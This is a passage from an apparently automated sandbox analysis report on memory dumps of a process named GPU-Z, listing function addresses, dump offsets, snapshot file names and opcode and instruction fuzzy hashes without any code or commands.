Opcode Fuzzy Hash: e7af8280a44e8f6728e480a5aa2834e379a44dcb0042bb55ce9702d6a10cfee1
Instruction Fuzzy Hash: 1F312D74E0010A8FCB04DF6DC8949AEBBB6FF88720F158259E519973A1CB35EC45CB91

Function 08A9EFE3 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 878cd885c6dc7c37fa18ca1bde3235a0a1fb4af11b359a04a2a337bdaddbac60
Instruction ID: a41021cdf7fbcab11cf48358e86131608bf2f6c39d34d81a82cd166835bfa38e
Opcode Fuzzy Hash: 878cd885c6dc7c37fa18ca1bde3235a0a1fb4af11b359a04a2a337bdaddbac60
Instruction Fuzzy Hash: E921686051D3848FC702BBB8E8685187FB5EF47210B4685EAE088DB2A3DE2C5C59C366

Function 067844B4 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5c99b44b95d1cecb1f639342c9ac7218f18f33cbd5383a57e06fec9815bb5e
Instruction ID: ce7e53f0224e1ca207db02cb61bddea0d990e8bb9f4d866f03e10a15a4793457
Opcode Fuzzy Hash: ae5c99b44b95d1cecb1f639342c9ac7218f18f33cbd5383a57e06fec9815bb5e
Instruction Fuzzy Hash: 5C21B271A402168FDF81DF79D8805BFBBF5EF85304B048866E814EB255E634DD04C7A1

Function 0678113F Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 090aaef7eb7307c3f781d953f9fee7c08cd5f7fffcf2076e4928c9f41b28d95f
Instruction ID: aa3bb4993ccacd36e38fc4f8a168ce604570d3a5a14f5f1912e951dbfbbf907b
Opcode Fuzzy Hash: 090aaef7eb7307c3f781d953f9fee7c08cd5f7fffcf2076e4928c9f41b28d95f
Instruction Fuzzy Hash: BF312232910B4ADECB01EF78C854499FB71FF95300B51869AE9596B222EB30E695CB81

Function 08A9F104 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6606e4341049cbd01acb8c4694ee39e6701b42aed1c1902107fdb19166a7d9a2
Instruction ID: 05ee7de9c737a5bbc480afae1a3ab44d783788c4f96161543c3dedc334d0cdc0
Opcode Fuzzy Hash: 6606e4341049cbd01acb8c4694ee39e6701b42aed1c1902107fdb19166a7d9a2
Instruction Fuzzy Hash: 2721C371B141258FDB04BBB9E89862E7BE6EFC4714F814929E048E3341EE385C068796

Function 0678D2AD Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2437b7858914433a56edd9639910159855e408cb8c2f01489f58fd24b606486f
Instruction ID: c3e0d9804e5ee3643280db6133f287ec07eb97d2f3d311d14935ee974be5202d
Opcode Fuzzy Hash: 2437b7858914433a56edd9639910159855e408cb8c2f01489f58fd24b606486f
Instruction Fuzzy Hash: B2313E31A40208CFCBA4EF69D558AAD7BF6FF88314F148468D902AB6A0DB35DD45CB60

Function 08A9F108 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 385d00bd7748034d6b4fa851bb49d8062557e4ca31a6e945cd26c18284ff34d2
Instruction ID: 7e5e950c52b7028fb572425d6f9f20d712dfd5696395c0ceb9d886f09db2bfeb
Opcode Fuzzy Hash: 385d00bd7748034d6b4fa851bb49d8062557e4ca31a6e945cd26c18284ff34d2
Instruction Fuzzy Hash: DD21A571B141258FD704BBB9E89962E7BF6EFC4714F814929E04DE3341EE385C068796

Function 031B54D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb2aae788f69fb295dfe5e94779d56a9676ea7e945eb44bbc4a0ec10ccc3bdb
Instruction ID: 14168090854787d17985b40eacee4908de7d817437aa186ca2e8264679162c7c
Opcode Fuzzy Hash: 2fb2aae788f69fb295dfe5e94779d56a9676ea7e945eb44bbc4a0ec10ccc3bdb
Instruction Fuzzy Hash: 9421B230B002098FCB18DBA9D5506AE77F7EF8A251F544439C1069B314EB30DD45CBA2

Function 018CD204 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835145137.00000000018CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18cd000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 163dec209cda295e6a6098520b569d9dc116e0c156b891e656458bec10a20e80
Instruction ID: 2f002363d912b8ee3a2ef2b6ca752bb333061686a9fa87ca1839f9a8d7894633
Opcode Fuzzy Hash: 163dec209cda295e6a6098520b569d9dc116e0c156b891e656458bec10a20e80
Instruction Fuzzy Hash: 9221E2725002049FDB05AF94D9C0B26BF66FB88724F20C67DE9094A256C33AE516CBA1

Function 0678D5CF Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47486600c83fd4b715ca355c02967e14cb9618425f2a669b8df54b65e0e470cb
Instruction ID: c7046f91c6fb308c4966681978c93926a180709b973a4a5d8ce08537ef542106
Opcode Fuzzy Hash: 47486600c83fd4b715ca355c02967e14cb9618425f2a669b8df54b65e0e470cb
Instruction Fuzzy Hash: 8C110D707451084F5BA53639992853E3FABAFC56A17044029E90AC73D1FF34CD02C3D5

Function 0678CE98 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 673d14b7514885ae350f531f16c627ef53ddfb6191450f5b2b5601dd102a8541
Instruction ID: a9a7d6437411ad40d2d361a53c2a2a6e7b97cc16dbbbe4ddd65b39ff6414bddf
Opcode Fuzzy Hash: 673d14b7514885ae350f531f16c627ef53ddfb6191450f5b2b5601dd102a8541
Instruction Fuzzy Hash: 443129312506008FD795AB38D858BA677E6BF85711F1584AAE04ECB262CF74AC8ACB50

Function 031BCE30 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcc86cb721ad6f55544fb01d55e89be80d722854473b72e04284d5dd0aa28156
Instruction ID: 7ddfaa46381daa2629218cb4f9756a349cab5ab71ad7f97a791be4f74a84befa
Opcode Fuzzy Hash: dcc86cb721ad6f55544fb01d55e89be80d722854473b72e04284d5dd0aa28156
Instruction Fuzzy Hash: 5721A131A143068BDB00AF6CC8503D6B376FFA9314F148679D948BB346DB72A986C7D1

Function 031B6DA0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f16d5c350d81a3a40b421ec24de5a25f8eccd0df31b42d7337a8a3d67e3e73c1
Instruction ID: 6e16e4fd4c151ffdf175684874d0196fe6e134677b51e8e9041e2ae4054e27a0
Opcode Fuzzy Hash: f16d5c350d81a3a40b421ec24de5a25f8eccd0df31b42d7337a8a3d67e3e73c1
Instruction Fuzzy Hash: 2E21D2353006128BC729DB29C894A6AB7B6FFDCB557098069E90ADB340CF31DC02CBD1

Function 06781150 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8e116e22dc3688154a62097a752bca9826af31eda8cb1e96bfc5427d79d150
Instruction ID: 295c6ffa9387f48dbbe37d6ab2f6365a01655c937c7b88af8143dffddeb57d22
Opcode Fuzzy Hash: 6a8e116e22dc3688154a62097a752bca9826af31eda8cb1e96bfc5427d79d150
Instruction Fuzzy Hash: 5C31F032910B0ADECB01AF78C8544A9FB71FF95310B118B5AE9596B121FB30E6D5CB81

Function 0678C884 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597f2a3cee8989f77b9801c978cae54feec9a09e74ebcd798cc7d524056bc513
Instruction ID: 40f7a515ed507f0c7508e7107994fe1cb3d1f5fd6b6cb23c23df618b5ec70909
Opcode Fuzzy Hash: 597f2a3cee8989f77b9801c978cae54feec9a09e74ebcd798cc7d524056bc513
Instruction Fuzzy Hash: 65314A312506008FD794AF38D488BA677E6FF85711F1584A9E15ECB361CF70AC8ACB50

Function 018DD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835187125.00000000018DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18dd000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90d724e2c52473f87a4febfb8043ef17d90c75d57b30e4338e6362a9572fdc8b
Instruction ID: 43bc4bd4603ac5b2d86918be82787638b594fd60bd026f40b41317c7ec5a3b70
Opcode Fuzzy Hash: 90d724e2c52473f87a4febfb8043ef17d90c75d57b30e4338e6362a9572fdc8b
Instruction Fuzzy Hash: 52210071604304DFCB15DF68D980B26BF65EB88314F20C669D90A8B296C33AD907CAA1

Function 018DD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835187125.00000000018DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18dd000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e617bc8591214e1939def13f71f57cd66e431d5fc4e4fb5d9166c6a44be134
Instruction ID: b3b2f22e91fc2e1f9f65a80e5c84bd940487ad1c68270ce53905c1bbeba493c8
Opcode Fuzzy Hash: c9e617bc8591214e1939def13f71f57cd66e431d5fc4e4fb5d9166c6a44be134
Instruction Fuzzy Hash: 2B21F571544304EFDB05DFA8D9C0F26BB65FB84324F20C66DD9498B296C33AE506CA61

Function 031B54C0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70270ceca6351c078482974fbd3d5568e6ffbb2217375232ad8c495b7bcbd3f2
Instruction ID: 3903a4278418fde290d64479652d564fe8edbd795797b889c2a6dcbe23bb03b9
Opcode Fuzzy Hash: 70270ceca6351c078482974fbd3d5568e6ffbb2217375232ad8c495b7bcbd3f2
Instruction Fuzzy Hash: EF21D371A04205CFCB15DB68D5507AA7BF7EF8A242F1584BAC105EB350E730D945CBA2

Function 031BBB30 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a481293370eed70ed10b2aaf71c6c97ba9252cdbad2c0721beac68bdad510beb
Instruction ID: 812977fdbb0b9a64ab849f872b6ddc9fd0e1eafe891114e7efd519042d770c89
Opcode Fuzzy Hash: a481293370eed70ed10b2aaf71c6c97ba9252cdbad2c0721beac68bdad510beb
Instruction Fuzzy Hash: FC11CB31B081299FD7189E6E8D517AB7ABEBB8CB50F158426F802D7758DB74CC4183D1

Function 0678508D Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b2b61ce372c3585261ae8138cdf56933b27175dedeba27c8af50769d958c3d4
Instruction ID: 0a812f4734cdd53f6fc7ec41ca041e621fdcab846971922b69f3836b448fb845
Opcode Fuzzy Hash: 8b2b61ce372c3585261ae8138cdf56933b27175dedeba27c8af50769d958c3d4
Instruction Fuzzy Hash: E621F936B005119FD791AF58D99457E77ABEF84311F048425E906C7294DB39CC41C7D2

Function 06780FA1 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0d1109b933e33308f71807b9dcc04e3c1b66cd9b718db83ebfa5bb05325e836
Instruction ID: 848b919bc3477df0a67db6c4171ade7c2ba91570a6203b4ecd611c2ba3beae2d
Opcode Fuzzy Hash: f0d1109b933e33308f71807b9dcc04e3c1b66cd9b718db83ebfa5bb05325e836
Instruction Fuzzy Hash: B921B1383402504FEB15A76CD4617AF7BABEBC9704F04402AE146DB796CEBAEC4187E1

Function 08A91538 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7970f2766e49f9240d1df3a5d45113584c901c0bff00724e9c78f6ff86267072
Instruction ID: 1ee4117c1a3c172eeff73ffb41672d9dc8d8d1d72076457b337eecbe96768d46
Opcode Fuzzy Hash: 7970f2766e49f9240d1df3a5d45113584c901c0bff00724e9c78f6ff86267072
Instruction Fuzzy Hash: 653102B0C05308EFDB24DF99D588B9EBBF5BB48710F24801AE858BB250C7B59844CFA1

Function 031B6F28 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1764a2c4320b3616709c218281b93dc1d649a7f9fc2da30622b6b9a5aeab47a
Instruction ID: e9b8bb46f479eb3560e14d0209b3f990aa0bc0f31108961624e6a355c949ac66
Opcode Fuzzy Hash: f1764a2c4320b3616709c218281b93dc1d649a7f9fc2da30622b6b9a5aeab47a
Instruction Fuzzy Hash: 65218131E04206CFCB15DF68C8949EEFBB5FF9E210B1980AAE515A7391D731E845CB61

Function 031B6839 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df92a119a9063c4c0ca865c080f64a6e44fde4ddbcbf7668b729b71e198bef41
Instruction ID: 9a5b33e94f955e043021b8ce538faa35c31877798af586e73cc1a8216b3177f5
Opcode Fuzzy Hash: df92a119a9063c4c0ca865c080f64a6e44fde4ddbcbf7668b729b71e198bef41
Instruction Fuzzy Hash: B611D331B00314DFC714DE29D944AA9BBB6FBAC311F19816AE915DB351DB70DC41C791

Function 031B8E68 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfbfb981b8688179792136810244014d186d1742a35a723b4321660aa26e828b
Instruction ID: e68133d25c4882202eaf6256e1a92e3abf86db17b21973a10ec9be71f666c384
Opcode Fuzzy Hash: cfbfb981b8688179792136810244014d186d1742a35a723b4321660aa26e828b
Instruction Fuzzy Hash: 5C11083A7042955FCB21EE69EC449EABF7EEB8D920F084166FA09C7261D731CC218752

Function 08A92487 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9611250244542ce98a084a85f903939676fb8652e7ce902ec19bf33afa20ed13
Instruction ID: 3b56e2622dad3b7542074ef73a6a4215b300121efa7f6e0883db934ce2bf809b
Opcode Fuzzy Hash: 9611250244542ce98a084a85f903939676fb8652e7ce902ec19bf33afa20ed13
Instruction Fuzzy Hash: 98212E7A204A009FC721CB59E984D46BBE5FF8973131185AEE1AA8BB71C631F851CB50

Function 08A9BC28 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bda7a3a0d1c6456d87664605762c51726e636055cd950e0b559fd0745a1dbc8
Instruction ID: 2e12005e9d638bcbc1615ccedfc68aa3818dfa462e1a30a64b52673770ec074f
Opcode Fuzzy Hash: 5bda7a3a0d1c6456d87664605762c51726e636055cd950e0b559fd0745a1dbc8
Instruction Fuzzy Hash: C121D2707242149FD754FBB5E4896197BEAFF89314F408868E809E3350DE3DAC02CB62

Function 031BC56C Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df41a3fccdcdf2392159468003f6ecc48b8f5e6f36e253c67a78745cd9d8bf4e
Instruction ID: 489f6818d1da86c2651b3a8c080bcd0c03fd9bc1e0ce63ef4f79a46efad1e842
Opcode Fuzzy Hash: df41a3fccdcdf2392159468003f6ecc48b8f5e6f36e253c67a78745cd9d8bf4e
Instruction Fuzzy Hash: D7215031A107068BDB00AF6CC450396F376FFE9314F118639D948BB245DF75A98587D1

Function 031B5900 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3d918963694eb4b48b212e0f5c4b9cd80eaaeb72beb4d6b0c7cc7d2d2feeb8b
Instruction ID: eaded54f7af3adcbebd4bc90d69b91be3395f67d4486d9eb4a3750568e5decbd
Opcode Fuzzy Hash: b3d918963694eb4b48b212e0f5c4b9cd80eaaeb72beb4d6b0c7cc7d2d2feeb8b
Instruction Fuzzy Hash: 9B2105316052099FCB05EF28D444BAA3BBAFB5D721F048069F909CB391CB74CE55CB91

Function 067852EA Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fadbb87f38689c3dcf00031a8397e36b17b6ddc495ac3e04b19bbc615d41526
Instruction ID: e5e65fa024f9f9f89b65848dbd6664c0d20fb42dbb5a35475199c3e61e50ce02
Opcode Fuzzy Hash: 2fadbb87f38689c3dcf00031a8397e36b17b6ddc495ac3e04b19bbc615d41526
Instruction Fuzzy Hash: 33216770A0061A8FDB80DF69E9804BFB7F6FF85315B14842AE818EB215E335DE11C7A1

Function 0678A04C Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dece9f82bb2a68d1e6a061bb2724150b6b0efa3778ee382815ac625208339405
Instruction ID: be46276b105fe789ddb2f07a768bb071c2a8ed863891f4817bf5b21566ef24bb
Opcode Fuzzy Hash: dece9f82bb2a68d1e6a061bb2724150b6b0efa3778ee382815ac625208339405
Instruction Fuzzy Hash: 89118B31780604CFC765BF3DD99482AB7F5EF8621171046AEE106CB272DA31DC85CBA5

Function 06780FB0 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12fca45d6c831d5e88e14b1b4f54112893fe484f43175cdbbf82769995fc56a3
Instruction ID: 0776a4fbe9bf78261a4f260d0ad3bfe79cc4df3cef9be42bbbad6ba61e819f19
Opcode Fuzzy Hash: 12fca45d6c831d5e88e14b1b4f54112893fe484f43175cdbbf82769995fc56a3
Instruction Fuzzy Hash: 92118C383402104BEB14A66DD41176F76EBEBC8B08F04442AE646DB795CEBAEC4157E1

Function 031B6D93 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86e4316c1ba34c299facb7fb41f8f183e00af09ac953323d6fbe4fae1bc42190
Instruction ID: bb341444929a95508b1fed62aaf3c9337f80cc1e87f9da07a3f23cd8d585ebfa
Opcode Fuzzy Hash: 86e4316c1ba34c299facb7fb41f8f183e00af09ac953323d6fbe4fae1bc42190
Instruction Fuzzy Hash: 3511C2327006129BC719DB2AC894B7ABBB6FF98791B1D8079E906DB350CF61DC128791

Function 08A917B0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 842a633faadb32f0c045451ea361e188fcce5401397ce552a0cd418609d7faec
Instruction ID: 9380f27a98fdccbb3e5322af1095aa2559f391530c1c272309f1d88e9831d9d0
Opcode Fuzzy Hash: 842a633faadb32f0c045451ea361e188fcce5401397ce552a0cd418609d7faec
Instruction Fuzzy Hash: 92114F2191E3D20FD70B5B3D5970A9A7F75AE5365170E01EBD0C0CE563D51D8809C7A6

Function 08A9F9FA Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aed41a6595a5b7f6b8af428a949d65167e9bf1fba25ff3efa196d90781342718
Instruction ID: e943c4e140bea61d4165ee2e9d65a3974e4657908b1c2e2bece3944bb7fcbd28
Opcode Fuzzy Hash: aed41a6595a5b7f6b8af428a949d65167e9bf1fba25ff3efa196d90781342718
Instruction Fuzzy Hash: 7D214AB4E09209DFCB44CFAAD5406AEBBF2EB89321F14C1AAD804E7754D7349A01CF90

Function 06785D27 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e00d121190b80ff498734a3a78ee5b93df12fbd4a092d4075a7da3421fdc6929
Instruction ID: ff267110e55c414ade8b5608283264f69ded0997e03754d655418179218a6ecc
Opcode Fuzzy Hash: e00d121190b80ff498734a3a78ee5b93df12fbd4a092d4075a7da3421fdc6929
Instruction Fuzzy Hash: 1F11BF307403008FE7A9A669D998B6AB396EF84314F28C47EDC468B294CB75DC02CB90

Function 018DD005 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835187125.00000000018DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18dd000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9782ce7225c9b07b2ecf72b53d826cf28ca06afb2116f24b7cab96769f66908a
Instruction ID: 4d46b0f7f5d7a903aed7fe8bbb7d856a5783fda58e0f973b7bff2ad5a6900ba7
Opcode Fuzzy Hash: 9782ce7225c9b07b2ecf72b53d826cf28ca06afb2116f24b7cab96769f66908a
Instruction Fuzzy Hash: 852192755093808FDB13CF24D994715BF71EB86314F28C6EAD8498B697C33A990ACB62

Function 08A92401 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d51a27aa6bbf3bd587b2ad00618a95624b04ea53dd74e26d2abd0b57803a8711
Instruction ID: 9d7e79f0891ee5f99e41596c50f8d0c8d5c63b93ee567dbe15de93aa2bf4e3e5
Opcode Fuzzy Hash: d51a27aa6bbf3bd587b2ad00618a95624b04ea53dd74e26d2abd0b57803a8711
Instruction Fuzzy Hash: F8115E75304605AF8724DF5AD880E5BF7E9FF85B21710C52EE1A9C7760CA30E801CBA4

Function 06785D38 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

